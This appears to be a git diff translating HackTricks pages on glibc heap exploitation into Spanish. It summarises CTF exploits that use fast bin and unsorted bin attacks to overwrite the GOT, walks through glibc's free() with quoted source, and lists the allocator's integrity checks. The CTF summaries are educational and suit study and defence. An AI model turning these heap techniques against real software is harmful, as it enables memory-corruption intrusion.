[**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - - You can find a Fast Bin attack abused through an unsorted bin attack: - - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). +- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT. +- Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin: +- Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/heap (cuando sea necesario). - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Solo podemos asignar chunks de tamaño mayor que `0x100`. +- Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits). +- Ataque de Fast Bin para modificar un array global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar la GOT y hacer que algunas funciones apunten a `system`. {{#ref}} unsorted-bin-attack.md diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md index 04855d5fb..57406c23c 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,4 +1,4 @@ -# Heap Memory Functions +# Funciones de Memoria de Heap {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md index e57b1fa77..7c6efcde9 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -2,95 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Free Order Summary +## Resumen de Orden de Liberación -(No checks are explained in this summary and some case have been omitted for brevity) +(No se explican verificaciones en este resumen y algunos casos han sido omitidos por brevedad) -1. If the address is null don't do anything -2. If the chunk was mmaped, mummap it and finish -3. Call `_int_free`: - 1. If possible, add the chunk to the tcache - 2. If possible, add the chunk to the fast bin - 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list +1. Si la dirección es nula, no hacer nada +2. Si el chunk fue mmaped, mummapearlo y terminar +3. Llamar a `_int_free`: + 1. Si es posible, agregar el chunk al tcache + 2. Si es posible, agregar el chunk al fast bin + 3. Llamar a `_int_free_merge_chunk` para consolidar el chunk si es necesario y agregarlo a la lista no ordenada ## \_\_libc_free -`Free` calls `__libc_free`. +`Free` llama a `__libc_free`. -- If the address passed is Null (0) don't do anything. -- Check pointer tag -- If the chunk is `mmaped`, `mummap` it and that all -- If not, add the color and call `_int_free` over it +- Si la dirección pasada es nula (0), no hacer nada. +- Verificar la etiqueta del puntero +- Si el chunk es `mmaped`, `mummap` y eso es todo +- Si no, agregar el color y llamar a `_int_free` sobre él
-__lib_free code - +código de __lib_free ```c void __libc_free (void *mem) { - mstate ar_ptr; - mchunkptr p; /* chunk corresponding to mem */ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ - if (mem == 0) /* free(0) has no effect */ - return; +if (mem == 0) /* free(0) has no effect */ +return; - /* Quickly check that the freed pointer matches the tag for the memory. - This gives a useful double-free detection. */ - if (__glibc_unlikely (mtag_enabled)) - *(volatile char *)mem; +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; - int err = errno; +int err = errno; - p = mem2chunk (mem); +p = mem2chunk (mem); - if (chunk_is_mmapped (p)) /* release mmapped memory. */ - { - /* See if the dynamic brk/mmap threshold needs adjusting. - Dumped fake mmapped chunks do not affect the threshold. */ - if (!mp_.no_dyn_threshold - && chunksize_nomask (p) > mp_.mmap_threshold - && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) - { - mp_.mmap_threshold = chunksize (p); - mp_.trim_threshold = 2 * mp_.mmap_threshold; - LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, - mp_.mmap_threshold, mp_.trim_threshold); - } - munmap_chunk (p); - } - else - { - MAYBE_INIT_TCACHE (); +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); - /* Mark the chunk as belonging to the library again. */ - (void)tag_region (chunk2mem (p), memsize (p)); +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); - ar_ptr = arena_for_chunk (p); - _int_free (ar_ptr, p, 0); - } +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} - __set_errno (err); +__set_errno (err); } libc_hidden_def (__libc_free) ``` -
## \_int_free ### \_int_free start -It starts with some checks making sure: +Comienza con algunas verificaciones asegurándose de que: -- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` -- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` +- el **puntero** esté **alineado,** o desencadene el error `free(): invalid pointer` +- el **tamaño** no sea menor que el mínimo y que el **tamaño** también esté **alineado** o desencadene el error: `free(): invalid size`
_int_free start - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -99,288 +96,279 @@ It starts with some checks making sure: static void _int_free (mstate av, mchunkptr p, int have_lock) { - INTERNAL_SIZE_T size; /* its size */ - mfastbinptr *fb; /* associated fastbin */ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ - size = chunksize (p); +size = chunksize (p); - /* Little security check which won't hurt performance: the - allocator never wraps around at the end of the address space. - Therefore we can exclude some size values which might appear - here by accident or by "design" from some intruder. */ - if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) - || __builtin_expect (misaligned_chunk (p), 0)) - malloc_printerr ("free(): invalid pointer"); - /* We know that each chunk is at least MINSIZE bytes in size or a - multiple of MALLOC_ALIGNMENT. */ - if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) - malloc_printerr ("free(): invalid size"); +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); - check_inuse_chunk(av, p); +check_inuse_chunk(av, p); ``` -
### \_int_free tcache -It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: +Primero intentará asignar este fragmento en el tcache relacionado. Sin embargo, se realizan algunas verificaciones previamente. Recorrerá todos los fragmentos del tcache en el mismo índice que el fragmento liberado y: -- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` -- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` +- Si hay más entradas que `mp_.tcache_count`: `free(): too many chunks detected in tcache` +- Si la entrada no está alineada: free(): `unaligned chunk detected in tcache 2` +- si el fragmento liberado ya fue liberado y está presente como fragmento en el tcache: `free(): double free detected in tcache 2` -If all goes well, the chunk is added to the tcache and the functions returns. +Si todo va bien, el fragmento se agrega al tcache y la función devuelve.
_int_free tcache - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 #if USE_TCACHE - { - size_t tc_idx = csize2tidx (size); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - /* Check to see if it's already in the tcache. */ - tcache_entry *e = (tcache_entry *) chunk2mem (p); +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); - /* This test succeeds on double free. However, we don't 100% - trust it (it also matches random payload data at a 1 in - 2^ chance), so verify it's not an unlikely - coincidence before aborting. */ - if (__glibc_unlikely (e->key == tcache_key)) - { - tcache_entry *tmp; - size_t cnt = 0; - LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); - for (tmp = tcache->entries[tc_idx]; - tmp; - tmp = REVEAL_PTR (tmp->next), ++cnt) - { - if (cnt >= mp_.tcache_count) - malloc_printerr ("free(): too many chunks detected in tcache"); - if (__glibc_unlikely (!aligned_OK (tmp))) - malloc_printerr ("free(): unaligned chunk detected in tcache 2"); - if (tmp == e) - malloc_printerr ("free(): double free detected in tcache 2"); - /* If we get here, it was a coincidence. We've wasted a - few cycles, but don't abort. */ - } - } +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} - if (tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (p, tc_idx); - return; - } - } - } +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} #endif ``` -
### \_int_free fast bin -Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. +Comienza verificando que el tamaño sea adecuado para fast bin y comprueba si es posible configurarlo cerca del top chunk. -Then, add the freed chunk at the top of the fast bin while performing some checks: +Luego, agrega el chunk liberado en la parte superior del fast bin mientras realizas algunas verificaciones: -- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` -- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` -- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` +- Si el tamaño del chunk es inválido (demasiado grande o pequeño) desencadena: `free(): invalid next size (fast)` +- Si el chunk agregado ya era el top del fast bin: `double free or corruption (fasttop)` +- Si el tamaño del chunk en la parte superior tiene un tamaño diferente al del chunk que estamos agregando: `invalid fastbin entry (free)`
_int_free Fast Bin - ```c - // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 - /* - If eligible, place chunk on a fastbin so it can be found - and used quickly in malloc. - */ +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ - if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS - /* - If TRIM_FASTBINS set, don't place chunks - bordering top into fastbins - */ - && (chunk_at_offset(p, size) != av->top) +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) #endif - ) { +) { - if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) - <= CHUNK_HDR_SZ, 0) - || __builtin_expect (chunksize (chunk_at_offset (p, size)) - >= av->system_mem, 0)) - { - bool fail = true; - /* We might not have a lock at this point and concurrent modifications - of system_mem might result in a false positive. Redo the test after - getting the lock. */ - if (!have_lock) - { - __libc_lock_lock (av->mutex); - fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ - || chunksize (chunk_at_offset (p, size)) >= av->system_mem); - __libc_lock_unlock (av->mutex); - } +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} - if (fail) - malloc_printerr ("free(): invalid next size (fast)"); - } +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - atomic_store_relaxed (&av->have_fastchunks, true); - unsigned int idx = fastbin_index(size); - fb = &fastbin (av, idx); +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); - /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ - mchunkptr old = *fb, old2; +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; - if (SINGLE_THREAD_P) - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - p->fd = PROTECT_PTR (&p->fd, old); - *fb = p; - } - else - do - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - old2 = old; - p->fd = PROTECT_PTR (&p->fd, old); - } - while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) - != old2); +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); - /* Check that size of fastbin chunk at the top is the same as - size of the chunk that we are adding. We can dereference OLD - only if we have the lock, otherwise it might have already been - allocated again. */ - if (have_lock && old != NULL - && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) - malloc_printerr ("invalid fastbin entry (free)"); - } +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} ``` -
### \_int_free finale -If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` +Si el bloque aún no estaba asignado en ningún contenedor, llama a `_int_free_merge_chunk`
_int_free finale - ```c /* - Consolidate other non-mmapped chunks as they arrive. - */ +Consolidate other non-mmapped chunks as they arrive. +*/ - else if (!chunk_is_mmapped(p)) { +else if (!chunk_is_mmapped(p)) { - /* If we're single-threaded, don't lock the arena. */ - if (SINGLE_THREAD_P) - have_lock = true; +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; - if (!have_lock) - __libc_lock_lock (av->mutex); +if (!have_lock) +__libc_lock_lock (av->mutex); - _int_free_merge_chunk (av, p, size); +_int_free_merge_chunk (av, p, size); - if (!have_lock) - __libc_lock_unlock (av->mutex); - } - /* - If the chunk was allocated via mmap, release via munmap(). - */ +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ - else { - munmap_chunk (p); - } +else { +munmap_chunk (p); +} } ``` -
## \_int_free_merge_chunk -This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. +Esta función intentará fusionar el chunk P de SIZE bytes con sus vecinos. Coloca el chunk resultante en la lista de bins no ordenados. -Some checks are performed: +Se realizan algunas verificaciones: -- If the chunk is the top chunk: `double free or corruption (top)` -- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` -- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` -- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` -- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` +- Si el chunk es el chunk superior: `double free or corruption (top)` +- Si el siguiente chunk está fuera de los límites de la arena: `double free or corruption (out)` +- Si el chunk no está marcado como utilizado (en el `prev_inuse` del siguiente chunk): `double free or corruption (!prev)` +- Si el siguiente chunk tiene un tamaño demasiado pequeño o demasiado grande: `free(): invalid next size (normal)` +- si el chunk anterior no está en uso, intentará consolidar. Pero, si el prev_size difiere del tamaño indicado en el chunk anterior: `corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 /* Try to merge chunk P of SIZE bytes with its neighbors. Put the - resulting chunk on the appropriate bin list. P must not be on a - bin list yet, and it can be in use. */ +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ static void _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) { - mchunkptr nextchunk = chunk_at_offset(p, size); +mchunkptr nextchunk = chunk_at_offset(p, size); - /* Lightweight tests: check whether the block is already the - top block. */ - if (__glibc_unlikely (p == av->top)) - malloc_printerr ("double free or corruption (top)"); - /* Or whether the next chunk is beyond the boundaries of the arena. */ - if (__builtin_expect (contiguous (av) - && (char *) nextchunk - >= ((char *) av->top + chunksize(av->top)), 0)) - malloc_printerr ("double free or corruption (out)"); - /* Or whether the block is actually not marked used. */ - if (__glibc_unlikely (!prev_inuse(nextchunk))) - malloc_printerr ("double free or corruption (!prev)"); +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); - INTERNAL_SIZE_T nextsize = chunksize(nextchunk); - if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) - || __builtin_expect (nextsize >= av->system_mem, 0)) - malloc_printerr ("free(): invalid next size (normal)"); +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - /* Consolidate backward. */ - if (!prev_inuse(p)) - { - INTERNAL_SIZE_T prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size while consolidating"); - unlink_chunk (av, p); - } +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} - /* Write the chunk header, maybe after merging with the following chunk. */ - size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - _int_free_maybe_consolidate (av, size); +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 18a0a02b7..5cdb88f2a 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -4,160 +4,160 @@ ## unlink -For more info check: +Para más información, consulta: {{#ref}} unlink.md {{#endref}} -This is a summary of the performed checks: +Este es un resumen de las comprobaciones realizadas: -- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - - Error message: `corrupted size vs. prev_size` -- Check also that `P->fd->bk == P` and `P->bk->fw == P` - - Error message: `corrupted double-linked list` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - - Error message: `corrupted double-linked list (not small)` +- Verificar si el tamaño indicado del chunk es el mismo que el `prev_size` indicado en el siguiente chunk +- Mensaje de error: `corrupted size vs. prev_size` +- Verificar también que `P->fd->bk == P` y `P->bk->fw == P` +- Mensaje de error: `corrupted double-linked list` +- Si el chunk no es pequeño, verificar que `P->fd_nextsize->bk_nextsize == P` y `P->bk_nextsize->fd_nextsize == P` +- Mensaje de error: `corrupted double-linked list (not small)` ## \_int_malloc -For more info check: +Para más información, consulta: {{#ref}} malloc-and-sysmalloc.md {{#endref}} -- **Checks during fast bin search:** - - If the chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 2` - - If the forward chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected` - - If the returned chunk has a size that isn't correct because of it's index in the fast bin: - - Error message: `malloc(): memory corruption (fast)` - - If any chunk used to fill the tcache is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 3` -- **Checks during small bin search:** - - If `victim->bk->fd != victim`: - - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: - - If the chunk is unaligned trigger: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If the chunk has a different size that the one it should because of the index it's in: - - Error message: `malloc_consolidate(): invalid chunk size` - - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - - Error message: `corrupted size vs. prev_size in fastbins` -- **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): - - Error message: `malloc(): invalid size (unsorted)` - - If the next chunk size is weird (too small or too big): - - Error message: `malloc(): invalid next size (unsorted)` - - If the previous size indicated by the next chunk differs from the size of the chunk: - - Error message: `malloc(): mismatching next->prev_size (unsorted)` - - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - - Error message: `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's fd should be pointing always to the arena struct. - - If the next chunk isn't indicating that the previous is in use: - - Error message: `malloc(): invalid next->prev_inuse (unsorted)` - - If `fwd->bk_nextsize->fd_nextsize != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (nextsize)` - - If `fwd->bk->fd != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (bk)` -- **Checks during large bin (by index) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks` -- **Checks during large bin (next bigger) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks2` -- **Checks during Top chunk use:** - - `chunksize(av->top) > av->system_mem`: - - Error message: `malloc(): corrupted top size` +- **Comprobaciones durante la búsqueda en fast bin:** +- Si el chunk está desalineado: +- Mensaje de error: `malloc(): unaligned fastbin chunk detected 2` +- Si el chunk hacia adelante está desalineado: +- Mensaje de error: `malloc(): unaligned fastbin chunk detected` +- Si el chunk devuelto tiene un tamaño que no es correcto debido a su índice en el fast bin: +- Mensaje de error: `malloc(): memory corruption (fast)` +- Si algún chunk utilizado para llenar el tcache está desalineado: +- Mensaje de error: `malloc(): unaligned fastbin chunk detected 3` +- **Comprobaciones durante la búsqueda en small bin:** +- Si `victim->bk->fd != victim`: +- Mensaje de error: `malloc(): smallbin double linked list corrupted` +- **Comprobaciones durante la consolidación** realizadas para cada chunk de fast bin: +- Si el chunk está desalineado, activar: +- Mensaje de error: `malloc_consolidate(): unaligned fastbin chunk detected` +- Si el chunk tiene un tamaño diferente al que debería debido al índice en el que se encuentra: +- Mensaje de error: `malloc_consolidate(): invalid chunk size` +- Si el chunk anterior no está en uso y el chunk anterior tiene un tamaño diferente al indicado por prev_chunk: +- Mensaje de error: `corrupted size vs. prev_size in fastbins` +- **Comprobaciones durante la búsqueda en unsorted bin**: +- Si el tamaño del chunk es extraño (demasiado pequeño o demasiado grande): +- Mensaje de error: `malloc(): invalid size (unsorted)` +- Si el tamaño del siguiente chunk es extraño (demasiado pequeño o demasiado grande): +- Mensaje de error: `malloc(): invalid next size (unsorted)` +- Si el tamaño anterior indicado por el siguiente chunk difiere del tamaño del chunk: +- Mensaje de error: `malloc(): mismatching next->prev_size (unsorted)` +- Si no `victim->bck->fd == victim` o no `victim->fd == av (arena)`: +- Mensaje de error: `malloc(): unsorted double linked list corrupted` +- Como siempre estamos verificando el último, su fd debería estar apuntando siempre a la estructura de arena. +- Si el siguiente chunk no indica que el anterior está en uso: +- Mensaje de error: `malloc(): invalid next->prev_inuse (unsorted)` +- Si `fwd->bk_nextsize->fd_nextsize != fwd`: +- Mensaje de error: `malloc(): largebin double linked list corrupted (nextsize)` +- Si `fwd->bk->fd != fwd`: +- Mensaje de error: `malloc(): largebin double linked list corrupted (bk)` +- **Comprobaciones durante la búsqueda en large bin (por índice):** +- `bck->fd-> bk != bck`: +- Mensaje de error: `malloc(): corrupted unsorted chunks` +- **Comprobaciones durante la búsqueda en large bin (siguiente más grande):** +- `bck->fd-> bk != bck`: +- Mensaje de error: `malloc(): corrupted unsorted chunks2` +- **Comprobaciones durante el uso del Top chunk:** +- `chunksize(av->top) > av->system_mem`: +- Mensaje de error: `malloc(): corrupted top size` ## `tcache_get_n` -- **Checks in `tcache_get_n`:** - - If chunk is misaligned: - - Error message: `malloc(): unaligned tcache chunk detected` +- **Comprobaciones en `tcache_get_n`:** +- Si el chunk está desalineado: +- Mensaje de error: `malloc(): unaligned tcache chunk detected` ## `tcache_thread_shutdown` -- **Checks in `tcache_thread_shutdown`:** - - If chunk is misaligned: - - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` +- **Comprobaciones en `tcache_thread_shutdown`:** +- Si el chunk está desalineado: +- Mensaje de error: `tcache_thread_shutdown(): unaligned tcache chunk detected` ## `__libc_realloc` -- **Checks in `__libc_realloc`:** - - If old pointer is misaligned or the size was incorrect: - - Error message: `realloc(): invalid pointer` +- **Comprobaciones en `__libc_realloc`:** +- Si el puntero antiguo está desalineado o el tamaño era incorrecto: +- Mensaje de error: `realloc(): invalid pointer` ## `_int_free` -For more info check: +Para más información, consulta: {{#ref}} free.md {{#endref}} -- **Checks during the start of `_int_free`:** - - Pointer is aligned: - - Error message: `free(): invalid pointer` - - Size larger than `MINSIZE` and size also aligned: - - Error message: `free(): invalid size` -- **Checks in `_int_free` tcache:** - - If there are more entries than `mp_.tcache_count`: - - Error message: `free(): too many chunks detected in tcache` - - If the entry is not aligned: - - Error message: `free(): unaligned chunk detected in tcache 2` - - If the freed chunk was already freed and is present as chunk in the tcache: - - Error message: `free(): double free detected in tcache 2` -- **Checks in `_int_free` fast bin:** - - If the size of the chunk is invalid (too big or small) trigger: - - Error message: `free(): invalid next size (fast)` - - If the added chunk was already the top of the fast bin: - - Error message: `double free or corruption (fasttop)` - - If the size of the chunk at the top has a different size of the chunk we are adding: - - Error message: `invalid fastbin entry (free)` +- **Comprobaciones al inicio de `_int_free`:** +- El puntero está alineado: +- Mensaje de error: `free(): invalid pointer` +- Tamaño mayor que `MINSIZE` y tamaño también alineado: +- Mensaje de error: `free(): invalid size` +- **Comprobaciones en `_int_free` tcache:** +- Si hay más entradas que `mp_.tcache_count`: +- Mensaje de error: `free(): too many chunks detected in tcache` +- Si la entrada no está alineada: +- Mensaje de error: `free(): unaligned chunk detected in tcache 2` +- Si el chunk liberado ya fue liberado y está presente como chunk en el 